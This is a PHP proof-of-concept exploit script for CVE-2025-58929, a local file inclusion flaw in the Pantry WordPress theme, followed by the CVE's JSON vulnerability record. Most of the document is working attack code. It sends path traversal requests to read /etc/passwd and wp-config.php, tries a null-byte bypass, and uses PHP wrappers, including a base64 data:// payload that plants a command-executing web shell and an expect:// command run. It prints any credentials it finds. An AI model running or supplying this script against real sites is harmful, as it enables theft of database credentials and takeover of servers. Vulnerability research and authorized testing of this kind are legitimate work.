CVE-2025-58929

<?php /** * CVE-2025-58929 PoC - Pantry WordPress Theme Local File Inclusion * Affected: axiomthemes Pantry WordPress Theme <= 1.4 * CVSS: 8.1 (High) * * Usage: php poc.php <target_url> <vulnerable_path> * Example: php poc.php http://target.com/wp-content/themes/pantry/ */ // Check if target URL is provided if ($argc < 2) { echo "Usage: php poc.php <target_url> [vulnerable_path]\n"; echo "Example: php poc.php http://target.com/wp-content/themes/pantry/\n"; exit(1); } $target = rtrim($argv[1], '/'); $vulnerablePath = isset($argv[2]) ? $argv[2] : ''; // List of common LFI patterns in WordPress themes $lfiPatterns = [ // Pattern 1: Direct file parameter "{$vulnerablePath}?file=../../../../etc/passwd", "{$vulnerablePath}?file=../../../../wp-config.php", // Pattern 2: Include parameter "{$vulnerablePath}?include=../../../../etc/passwd", "{$vulnerablePath}?include=../../../../wp-config.php", // Pattern 3: Theme file parameter "{$vulnerablePath}?theme=../../../../etc/passwd", "{$vulnerablePath}?theme=../../../../wp-config.php", // Pattern 4: Template parameter "{$vulnerablePath}?template=../../../../etc/passwd", "{$vulnerablePath}?template=../../../../wp-config.php", // Pattern 5: Path parameter "{$vulnerablePath}?path=../../../../etc/passwd", "{$vulnerablePath}?path=../../../../wp-config.php", // Pattern 6: Page parameter "{$vulnerablePath}?page=../../../../etc/passwd", "{$vulnerablePath}?page=../../../../wp-config.php", // Pattern 7: Action parameter "{$vulnerablePath}?action=../../../../etc/passwd", "{$vulnerablePath}?action=../../../../wp-config.php", // Pattern 8: Load parameter "{$vulnerablePath}?load=../../../../etc/passwd", "{$vulnerablePath}?load=../../../../wp-config.php" ]; // Null byte injection (for older PHP versions) $nullBytePatterns = [ "{$vulnerablePath}?file=../../../../etc/passwd%00", "{$vulnerablePath}?file=../../../../wp-config.php%00" ]; // PHP wrapper exploitation $wrapperPatterns = [ "{$vulnerablePath}?file=php://filter/read=convert.base64-encode/resource=wp-config.php", "{$vulnerablePath}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+", "{$vulnerablePath}?file=expect://id" ]; function testLFI($url) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); return $response; } echo "[*] CVE-2025-58929 PoC - Pantry Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] Testing LFI patterns...\n\n"; // Test basic LFI patterns echo "[+] Testing basic LFI patterns...\n"; foreach ($lfiPatterns as $pattern) { $url = $target . $pattern; echo "[*] Testing: {$url}\n"; $response = testLFI($url); if ($response !== false && (strpos($response, 'root:') !== false || strpos($response, '<?php') !== false || strpos($response, 'DB_NAME') !== false)) { echo "[!] VULNERABLE! Found sensitive data.\n"; echo $response . "\n\n"; } } // Test null byte injection echo "[+] Testing null byte injection...\n"; foreach ($nullBytePatterns as $pattern) { $url = $target . $pattern; echo "[*] Testing: {$url}\n"; $response = testLFI($url); if ($response !== false && (strpos($response, 'root:') !== false || strpos($response, '<?php') !== false)) { echo "[!] VULNERABLE! Null byte injection worked.\n"; echo $response . "\n\n"; } } // Test PHP wrappers echo "[+] Testing PHP wrappers...\n"; foreach ($wrapperPatterns as $pattern) { $url = $target . $pattern; echo "[*] Testing: {$url}\n"; $response = testLFI($url); if ($response !== false && strlen($response) > 0) { echo "[!] POTENTIALLY VULNERABLE! Response received.\n"; if (strlen($response) < 500) { echo $response . "\n\n"; } } } echo "[*] Scan complete.\n"; echo "\n[!] Note: This PoC is for authorized testing only.\n"; ?>

{"cve": {"id": "CVE-2025-58929", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.267", "lastModified": "2026-04-27T20:16:19.583", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Pantry pantry allows PHP Local File Inclusion.This issue affects Pantry: from n/a through <= 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:pantry:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.4", "matchCriteriaId": "0D9D0AB6-6A77-4D07-9EEF-63B6BBFCF0F3"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/pantry/vulnerability/wordpress-pantry-theme-1-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}